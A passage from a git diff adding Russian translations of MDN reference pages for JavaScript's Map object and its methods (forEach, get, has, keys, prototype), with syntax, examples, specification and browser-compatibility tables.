+<p>Если аргумент <code>thisArg</code> указан для <code>forEach</code>, то при вызове <code>callback</code> он будет передан в качестве значения <code>this</code>.  В противном случае для <code>this</code> будет передано <code>undefined</code>. Значение <code>this</code>, в конечном итоге наблюдаемое в функции <code>callback</code>, определяется в соответствии c <a href="/ru/docs/Web/JavaScript/Reference/Operators/this">обычными правилами определения <code>this</code> в функции.</a></p>
+
+<p>Каждое значение посещается один раз, за исключением случая, когда оно было удалено и добавлено снова до завершения <code>forEach</code>. <code>callback</code> не вызывается для значений, удаленных до их посещения. Новые значения будут посещены, если они добавлены до завершения <code>forEach</code>.</p>
+
+<p><code>forEach</code> исполняет функцию <code>callback</code> один раз для каждого элемента в объекте <code>Map</code>; не возвращает значение.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Вывод_содержимого_объекта_Map">Вывод содержимого объекта <code>Map</code></h3>
+
+<p>Следующий код выводит в консоль строку для каждого элемента в объекте <code>Map</code>:</p>
+
+<pre class="brush:js">function logMapElements(value, key, map) {
+    console.log("m[" + key + "] = " + value);
+}
+new Map([["foo", 3], ["bar", {}], ["baz", undefined]]).forEach(logMapElements);
+// logs:
+// "m[foo] = 3"
+// "m[bar] = [object Object]"
+// "m[baz] = undefined"
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-map.prototype.foreach', 'Map.prototype.forEach')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-map.prototype.foreach', 'Map.prototype.forEach')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{Compat("javascript.builtins.Map.forEach")}}</p>
+
+<h2 id="Смотри_также">Смотри также</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.forEach()")}}</li>
+ <li>{{jsxref("Set.prototype.forEach()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/map/get/index.html b/files/ru/web/javascript/reference/global_objects/map/get/index.html
new file mode 100644
index 0000000000..ae4ca29646
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/map/get/index.html
@@ -0,0 +1,68 @@
+---
+title: Map.prototype.get()
+slug: Web/JavaScript/Reference/Global_Objects/Map/get
+translation_of: Web/JavaScript/Reference/Global_Objects/Map/get
+---
+<div>{{JSRef}}</div>
+
+<p>Метод <code><strong>get()</strong></code> возвращает указанный элемент объекта {{jsxref("Map")}}.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate"><code><em>myMap</em>.get(key);</code></pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt>key</dt>
+ <dd>Обязательный. Ключ элемента объекта {{jsxref("Map")}}.</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Возвращает элемент связанный с указанным ключом или <code>undefined</code>, если ключ не был найден в объекте {{jsxref("Map")}}​​​​.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Использование_метода_get">Использование метода <code>get</code>()</h3>
+
+<pre class="brush: js notranslate">var myMap = new Map();
+myMap.set('bar', 'foo');
+
+myMap.get('bar');  // Вернет "foo".
+myMap.get('baz');  // Вернет undefined.
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-map.prototype.get', 'Map.prototype.get')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-map.prototype.get', 'Map.prototype.get')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>{{Compat("javascript.builtins.Map.get")}}</p>
+
+<h2 id="Смотри_также">Смотри также</h2>
+
+<ul>
+ <li>{{jsxref("Map")}}</li>
+ <li>{{jsxref("Map.prototype.set()")}}</li>
+ <li>{{jsxref("Map.prototype.has()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/map/has/index.html b/files/ru/web/javascript/reference/global_objects/map/has/index.html
new file mode 100644
index 0000000000..bb2fb71b74
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/map/has/index.html
@@ -0,0 +1,119 @@
+---
+title: Map.prototype.has()
+slug: Web/JavaScript/Reference/Global_Objects/Map/has
+translation_of: Web/JavaScript/Reference/Global_Objects/Map/has
+---
+<div>{{JSRef}}</div>
+
+<p>Метод <code><strong>has()</strong></code> возвращает тип Boolean, указывающий существует ли элемент с указанным ключом или нет.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><code><em>myMap</em>.has(key);</code></pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt>key</dt>
+ <dd>Обязательный параметр. Ключ элемента для проверки существования в объекте <code>Map.</code></dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<dl>
+ <dt>Boolean</dt>
+ <dd>Возвращает <code>true,</code> если элемент с указанным ключом существует в объекте <code>Map</code>; в противном случае возвращает <code>false</code>.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Использование_метода_has">Использование метода <code>has</code></h3>
+
+<pre class="brush: js">var myMap = new Map();
+myMap.set('bar', "foo");
+
+myMap.has('bar');  // возвращает true
+myMap.has('baz');  // возвращает false
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-map.prototype.has', 'Map.prototype.has')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Первоначальное определение.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-map.prototype.has', 'Map.prototype.has')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<p>{{ CompatibilityTable }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>38</td>
+   <td>{{CompatGeckoDesktop("13.0")}}</td>
+   <td>11</td>
+   <td>25</td>
+   <td>7.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}}</td>
+   <td>38</td>
+   <td>{{CompatGeckoMobile("13.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>8</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Map")}}</li>
+ <li>{{jsxref("Map.prototype.set()")}}</li>
+ <li>{{jsxref("Map.prototype.get()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/map/index.html b/files/ru/web/javascript/reference/global_objects/map/index.html
new file mode 100644
index 0000000000..8e6551addf
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/map/index.html
@@ -0,0 +1,288 @@
+---
+title: Map
+slug: Web/JavaScript/Reference/Global_Objects/Map
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Map
+translation_of: Web/JavaScript/Reference/Global_Objects/Map
+---
+<div>{{JSRef}}</div>
+
+<p><span class="seoSummary">Объект <strong><code>Map</code></strong> содержит пары ключ-значение и сохраняет порядок вставки.</span> Любое значение (как объекты, так и {{Glossary("Primitive", "примитивы")}}) могут быть использованы в качестве ключей.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">new Map([<em>iterable</em>])</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>iterable</code></dt>
+ <dd>Массив или любой другой <a href="/ru/docs/Web/JavaScript/Reference/Iteration_protocols">итерируемый</a> объект чьими элементами являются пары ключ-значение (массивы из двух элементов, например <code>[[ 1, 'one' ],[ 2, 'two' ]]</code>). Все пары ключ-значение будут добавлены в новый экземпляр <code>Map</code>; <code>null</code> расценивается как <code>undefined</code>.</dd>
+</dl>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Объект <code>Map</code> итерируется в порядке вставки его элементов — цикл {{jsxref("Statements/for...of", "for...of")}} будет возвращать массив <code>[key, value]</code> на каждой итерации.</p>
+
+<h3 id="Key_equality">Key equality</h3>
+
+<p>Сравнение ключей основано на алгоритме "{{Glossary("SameValueZero", "SameValueZero")}}": <code>NaN</code> равно <code>NaN</code> (несмотря на то, что <code>NaN !== NaN</code>), все другие значения рассматриваются равными исходя из семантики оператора строгого равенства <code>===</code>. В текущей спецификации ECMAScript <code>-0</code> и <code>+0</code> принимаются равными, но в ранних версиях обсуждения это было не так (см. "Value equality for -0 and 0" в таблице <a href="#Browser_compatibility">совместимости с браузерами</a>).</p>
+
+<h3 id="Сравнение_Объектов_и_Map">Сравнение Объектов и Map</h3>
+
+<p>Объекты похожи на <code>Map</code> в том, что оба позволяют устанавливать значения по ключам, получать эти значения, удалять ключи и проверять их наличие. В связи с этим (и потому, что не было встроенных альтернатив), {{jsxref("Object", "Объекты")}} исторически использовались как <code>Map</code>. Однако, у них есть ряд отличий, который дает преимущества <code>Map</code> в ряде случаев:</p>
+
+<ul>
+ <li>Ключами {{jsxref("Object", "Объекта")}} выступают {{jsxref("String", "Строки")}} и {{jsxref("Symbol", "Символы")}}, в то время как любое значение может быть ключом <code>Map</code>, включая {{jsxref("Function", "функции")}}, {{jsxref("Object", "объекты")}} и {{Glossary("Primitive", "примитивы")}}.</li>
+ <li>В отличие от {{jsxref("Object", "Объектов")}}, ключи в <code>Map</code> упорядочены. Таким образом, во время итерации <code>Map</code>, ключи возвращаются в порядке вставки.</li>
+ <li>Вы легко можете получить количество элементов в <code>Map</code> с помощью свойства <code>size</code>, в то время как количество элементов {{jsxref("Object", "Объекта")}} может быть определено только вручную.</li>
+ <li><code>Map</code> - <a href="/en-US/docs/Web/JavaScript/Guide/iterable">итерируемый</a> объект и может быть итерирован напрямую, в то время как {{jsxref("Object", "Объект")}} требует ручного получения списка ключей и их итерации.</li>
+ <li>{{jsxref("Object", "Объект")}} имеет прототип и поэтому имеет стандартный набор ключей, который, при неосторожности, может пересекаться с вашими ключами. С момента выхода ES5 это может быть изменено с помощью <code>map = Object.create(null)</code>.</li>
+ <li><code>Map</code> может иметь более высокую производительность в случаях частого добавления или удаления ключей.</li>
+</ul>
+
+<h2 id="Свойства">Свойства</h2>
+
+<dl>
+ <dt><code>Map.length</code></dt>
+ <dd>Значение свойства <code>length</code> всегда равно 0.</dd>
+ <dd>Чтобы узнать количество элементов в <code>Map</code> - используйте {{jsxref("Map.prototype.size")}}.</dd>
+ <dt>{{jsxref("Map.@@species", "get Map[@@species]")}}</dt>
+ <dd>Функция-конструктор которая используется для создания производных объектов.</dd>
+ <dt>{{jsxref("Map.prototype")}}</dt>
+ <dd>Представляет прототип конструктора <code>Map</code>. Позволяет добавлять свойства всем объектам типа <code>Map</code>.</dd>
+</dl>
+
+<h2 id="Экземпляры_Map">Экземпляры <code>Map</code></h2>
+
+<p>Все экземпляры <code>Map</code> наследуются от {{jsxref("Map.prototype")}}.</p>
+
+<h3 id="Свойства_2">Свойства</h3>
+
+<dl>
+ <dt><code>Map.prototype.constructor</code></dt>
+ <dd>Возвращает функцию, которая создала прототип экземпляра. Это функция <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map" title="The Map object holds key-value pairs and remembers the original insertion order of the keys."><code>Map</code></a> по умолчанию.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map/size" title="The size accessor property returns the number of elements in a Map object."><code>Map.prototype.size</code></a></dt>
+ <dd>Возвращает количество пар ключ/значение в объекте <code>Map</code>.</dd>
+</dl>
+
+<h3 id="Методы">Методы</h3>
+
+<dl>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map/clear" title="The clear() method removes all elements from a Map object."><code>Map.prototype.clear()</code></a></dt>
+ <dd>Удаляет все пары ключ / значение из объекта <code>Map</code>.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map/delete" title="The delete() method removes the specified element from a Map object by key."><code>Map.prototype.delete(key)</code></a></dt>
+ <dd>Возвращает <code>true</code>, если элемент в объекте <code>Map</code> существовал и был удален, или false, если элемент не существует. <code>Map.prototype.has(key)</code> вернет <code>false</code> позже.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map/entries" title="The entries() method returns a new Iterator object that contains the [key, value] pairs for each element in the Map object in insertion order."><code>Map.prototype.entries()</code></a></dt>
+ <dd>Возвращает новый объект <code>Iterator</code> который содержит <strong>массив</strong> <strong><code>[key, value]</code></strong> для каждого элемента в объекте <code>Map</code> в порядке вставки.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map/forEach" title="The forEach() method executes a provided function once per each key/value pair in the Map object, in insertion order."><code>Map.prototype.forEach(callbackFn[, thisArg])</code></a></dt>
+ <dd>Вызывает callbackFn один раз для каждой пары ключ-значение, присутствующей в объекте <code>Map</code>, в порядке вставки. Если для thisArg предоставляется параметр для forEach, он будет использоваться как значение this для каждого обратного вызова.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map/get" title="The get() method returns a specified element from a Map object."><code>Map.prototype.get(key)</code></a></dt>
+ <dd>Возвращает значение связанное с <code>key</code>, или <code>undefined</code> если его нет.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map/has" title="The has() method returns a boolean indicating whether an element with the specified key exists or not."><code>Map.prototype.has(key)</code></a></dt>
+ <dd>Возвращает логическое значение, подтверждающее, было ли значение связано с <code>key</code> в объекте <code>Map</code> или нет.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map/keys" title="The keys() method returns a new Iterator object that contains the keys for each element in the Map object in insertion order."><code>Map.prototype.keys()</code></a></dt>
+ <dd>Возвращает новый объект <code>Iterator</code> содержащий ключи для каждого элемента в объекте <code>Map</code> в порядке вставки.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map/set" title="The set() method adds or updates an element with a specified key and a value to a Map object."><code>Map.prototype.set(key, value)</code></a></dt>
+ <dd>Устанавливает значение для <code>key</code> в объекте <code>Map</code>. Возвращает объект <code>Map</code>.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map/values" title="The values() method returns a new Iterator object that contains the values for each element in the Map object in insertion order."><code>Map.prototype.values()</code></a></dt>
+ <dd>Возвращает новый объект <code>Iterator</code> который содержит значения для каждого элемента в объекте <code>Map</code> в порядке вставки.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map/@@iterator" title="The initial value of the @@iterator property is the same function object as the initial value of the entries method."><code>Map.prototype[@@iterator]()</code></a></dt>
+ <dd>Возвращает новый объект <code>Iterator</code> который содержит массив<strong> <code>[key, value]</code></strong> для каждого элемента в объекте <code>Map</code> в порядке вставки.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Использование_объекта_Map">Использование объекта <code>Map</code></h3>
+
+<pre class="brush: js">const myMap = new Map();
+
+const keyObj = {},
+    keyFunc = function () {},
+    keyString = 'a string';
+
+// задание значений
+myMap.set(keyString, 'value associated with “a string”');
+myMap.set(keyObj, 'value associated with keyObj');
+myMap.set(keyFunc, 'value associated with keyFunc');
+
+myMap.size; // 3
+
+// получение значений
+myMap.get(keyString);    // value associated with “a string”
+myMap.get(keyObj);       // value associated with keyObj
+myMap.get(keyFunc);      // value associated with keyFunc
+
+myMap.get('a string');   // "value associated with 'a string'"
+                         // потому что keyString === 'a string'
+myMap.get({});           // undefined, потому что <span style="font-size: 1rem;">keyObj !== {} ({} — это литеральная нотация конструктора класса Object)</span>
+myMap.get(function() {}) // undefined, потому что <span style="font-size: 1rem;">keyFunc !== function () {}</span>
+</pre>
+
+<h3 id="Использование_NaN_в_качестве_ключей_Map">Использование <code>NaN</code> в качестве ключей <code>Map</code></h3>
+
+<p><code>NaN</code> может быть использован в качестве ключа. Несмотря на то, что <code>NaN</code> не равен самому себе (<code>NaN !== NaN</code> вернёт true), следующий пример работает, потому что <code>NaN</code> обрабатывается особым образом:</p>
+
+<pre class="brush: js">const myMap = new Map();
+myMap.set(NaN, 'not a number');
+
+myMap.get(NaN); // not a number
+
+const otherNaN = Number('foo');
+myMap.get(otherNaN); // not a number
+</pre>
+
+<h3 id="Итерация_Map_при_помощи_for..of">Итерация <code>Map</code> при помощи <code>for..of</code></h3>
+
+<p><code>Map</code> может быть итерирован с помощью <code>for..of</code>:</p>
+
+<pre class="brush: js">const myMap = new Map();
+myMap.set(0, 'zero');
+myMap.set(1, 'one');
+for (var [key, value] of myMap) {
+  console.log(key + ' = ' + value);
+}
+// 0 = zero
+// 1 = one
+
+for (var key of myMap.keys()) {
+  console.log(key);
+}
+// 0
+// 1
+
+for (var value of myMap.values()) {
+  console.log(value);
+}
+// zero
+// one
+
+for (var [key, value] of myMap.entries()) {
+  console.log(key + ' = ' + value);
+}
+// 0 = zero
+// 1 = one
+</pre>
+
+<h3 id="Итерация_Map_при_помощи_forEach">Итерация <code>Map</code> при помощи <code>forEach()</code></h3>
+
+<p><code>Map</code> может быть итерирован с помощью метода <code>forEach()</code>:</p>
+
+<pre class="brush: js">myMap.forEach(function(value, key) {
+  console.log(`${key} =&gt; ${value}`);
+});
+// 0 =&gt; zero
+// 1 =&gt; one
+</pre>
+
+<h3 id="Взаимоотношения_с_объектом_Array">Взаимоотношения с объектом <code>Array</code></h3>
+
+<pre class="brush: js">const kvArray = [['key1', 'value1'], ['key2', 'value2']];
+
+// Используйте конструктор Map для преобразования двумерных массивов в Map
+const myMap = new Map(kvArray);
+
+myMap.get('key1'); // вернёт “value1”
+
+// Используйте функцию Array.from для трансформации Map в двумерный key-value массив
+console.log(Array.from(myMap)); // Выведет точно такой же массив как kvArray
+
+// Или используйте итераторы  keys или values чтобы преобразовать ключи или значения в массивы
+console.log(Array.from(myMap.keys())); // Выведет ['key1', 'key2']
+</pre>
+
+<h3 id="Клонирование_и_сляние_Map">Клонирование и сляние <code>Map</code></h3>
+
+<p> Равно как и {{jsxref("Array", "Массивы")}}, <code>Map</code> могут быть клонированы:</p>
+
+<pre class="brush: js">const original = new Map([
+  [1, 'one']
+]);
+
+const clone = new Map(original);
+
+console.log(clone.get(1)); // one
+console.log(original === clone); // false.</pre>
+
+<p>Следует помнить, что <em>данные</em> не клонируются.</p>
+
+<p><code>Map</code> могут быть слиты, с сохранением уникальности ключей:</p>
+
+<pre class="brush: js">const first = new Map([
+  [1, 'one'],
+  [2, 'two'],
+  [3, 'three'],
+]);
+
+const second = new Map([
+  [1, 'uno'],
+  [2, 'dos']
+]);
+
+// Слияние двух Map. Взят будет последний повторившийся ключ.
+// Оператор Spread по сути преобразует Map в массив
+const merged = new Map([...first, ...second]);
+
+console.log(merged.get(1)); // uno
+console.log(merged.get(2)); // dos
+console.log(merged.get(3)); // three</pre>
+
+<p>Map могут быть слиты и с {{jsxref("Array", "Массивами")}}:</p>
+
+<pre class="brush: js">const first = new Map([
+  [1, 'one'],
+  [2, 'two'],
+  [3, 'three'],
+]);
+
+const second = new Map([
+  [1, 'uno'],
+  [2, 'dos']
+]);
+
+// Слияние Map и массива. Как и при слиянии двух Map - взят будет последний повторившийся ключ.
+const merged = new Map([...first, ...second, [1, 'eins']]);
+
+console.log(merged.get(1)); // eins
+console.log(merged.get(2)); // dos
+console.log(merged.get(3)); // three</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-map-objects', 'Map')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-map-objects', 'Map')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div class="hidden">Таблица совместимости на данной странице сгенерирована из структурированных данных. Если вы хотите дополнить данные - пожалуйста клонируйте <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и пришлите нам свой пулл-реквест.</div>
+
+<p>{{Compat("javascript.builtins.Map")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=697479">Map и Set баг в Mozilla</a></li>
+ <li><a class="external" href="http://wiki.ecmascript.org/doku.php?id=harmony:simple_maps_and_sets">Предложение ECMAScript Harmony</a></li>
+ <li>{{jsxref("Set")}}</li>
+ <li>{{jsxref("WeakMap")}}</li>
+ <li>{{jsxref("WeakSet")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/map/keys/index.html b/files/ru/web/javascript/reference/global_objects/map/keys/index.html
new file mode 100644
index 0000000000..d7221c9a6e
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/map/keys/index.html
@@ -0,0 +1,117 @@
+---
+title: Map.prototype.keys()
+slug: Web/JavaScript/Reference/Global_Objects/Map/keys
+translation_of: Web/JavaScript/Reference/Global_Objects/Map/keys
+---
+<div>{{JSRef}}</div>
+
+<p>Метод <code><strong>keys()</strong></code> возвращает новый <strong><a href="/ru/docs/Web/JavaScript/Guide/Iterators_and_Generators">Итератор</a></strong>, содержащий ключи каждого элемента объекта {{jsxref("Map")}} в том порядке, в котором они были заведены.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><code><em>myMap</em>.keys()</code></pre>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Новый итератор объекта {{jsxref("Map")}}.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Использование_метода_keys()">Использование метода <code>keys()</code></h3>
+
+<pre class="brush:js">var myMap = new Map();
+myMap.set('0', 'foo');
+myMap.set(1, 'bar');
+myMap.set({}, 'baz');
+
+var mapIter = myMap.keys();
+
+console.log(mapIter.next().value); // "0"
+console.log(mapIter.next().value); // 1
+console.log(mapIter.next().value); // Object
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-map.prototype.keys', 'Map.prototype.keys')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-map.prototype.keys', 'Map.prototype.keys')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>38</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("20")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>25</td>
+   <td>7.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>38</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("20") }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>8</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотри_также">Смотри также</h2>
+
+<ul>
+ <li>{{jsxref("Map.prototype.entries()")}}</li>
+ <li>{{jsxref("Map.prototype.values()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/map/prototype/index.html b/files/ru/web/javascript/reference/global_objects/map/prototype/index.html
new file mode 100644
index 0000000000..a930a48b30
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/map/prototype/index.html
@@ -0,0 +1,125 @@
+---
+title: Map.prototype
+slug: Web/JavaScript/Reference/Global_Objects/Map/prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Map
+---
+<div>{{JSRef}}</div>
+
+<p>Свойство <code><strong>Map</strong></code><strong><code>.prototype</code></strong> представляет собой прототип конструктора {{jsxref("Map")}}.</p>
+
+<div>{{js_property_attributes(0,0,0)}}</div>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Экземпляры {{jsxref("Map")}} наследуются от {{jsxref("Map.prototype")}}. Вы можете использовать объект конструктора прототипа для добавления свойств и методов ко всем экземплярам <code>Map</code>.</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<dl>
+ <dt><code>Map.prototype.constructor</code></dt>
+ <dd>Возвращает функцию, создающую экземпляр прототипа. Это функция {{jsxref("Map")}} по умолчанию. </dd>
+ <dt>{{jsxref("Map.prototype.size")}}</dt>
+ <dd>Возвращает количество пар key/value, содержащихся в объекте <code>Map</code>.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<dl>
+ <dt>{{jsxref("Map.prototype.clear()")}}</dt>
+ <dd>Удаляет все пары key/value из объекта <code>Map</code>.</dd>
+ <dt>{{jsxref("Map.delete", "Map.prototype.delete(key)")}}</dt>
+ <dd>Возвращает <code>true</code>, если элемент присутствовал в объекте <code>Map</code> и был удалён, или <code>false</code>, если элемент отсутствует. После вызова этого метода <code>Map.prototype.has(key)</code> вернёт <code>false</code>.</dd>
+ <dt>{{jsxref("Map.prototype.entries()")}}</dt>
+ <dd>Возвращает новый объект итератора - new <code>Iterator</code>, который содержит <strong>массив из [key, value]</strong> для каждого элемента в объекте <code>Map</code> в порядке добавления.</dd>
+ <dt>{{jsxref("Map.forEach", "Map.prototype.forEach(callbackFn[, thisArg])")}}</dt>
+ <dd>Вызывает callbackFn для каждой пары key/value, находящейся в объекте <code>Map</code>, в порядке добавления. Если указан параметр thisArg, он будет использоваться в качестве значения this при каждом вызове callbackFn. </dd>
+ <dt>{{jsxref("Map.get", "Map.prototype.get(key)")}}</dt>
+ <dd>Возвращает значение по указанному ключу <code>key</code> или <code>undefined</code>, если значение отсутствует. </dd>
+ <dt>{{jsxref("Map.has", "Map.prototype.has(key)")}}</dt>
+ <dd>Возвращает <code>true</code> или <code>false</code> в зависимости от того, было ли значение связано с <code>key</code> в объекте <code>Map</code> или нет.</dd>
+ <dt>{{jsxref("Map.prototype.keys()")}}</dt>
+ <dd>Возвращает новый объект итератора - new <code>Iterator</code>, который содержит <strong>keys</strong> для каждого элемента в объекте <code>Map</code> в порядке добавления.</dd>
+ <dt>{{jsxref("Map.set", "Map.prototype.set(key, value)")}}</dt>
+ <dd>Устанавлиевает value для <code>key</code> в объекте <code>Map</code>. Возвращает объект <code>Map</code>.</dd>
+ <dt>{{jsxref("Map.prototype.values()")}}</dt>
+ <dd>Возвращает новый объект итератора - new <code>Iterator</code>, который содержит <strong>values</strong> для каждого элемента в объекте <code>Map</code> в порядке добавления.</dd>
+ <dt>{{jsxref("Map.@@iterator", "Map.prototype[@@iterator]()")}}</dt>
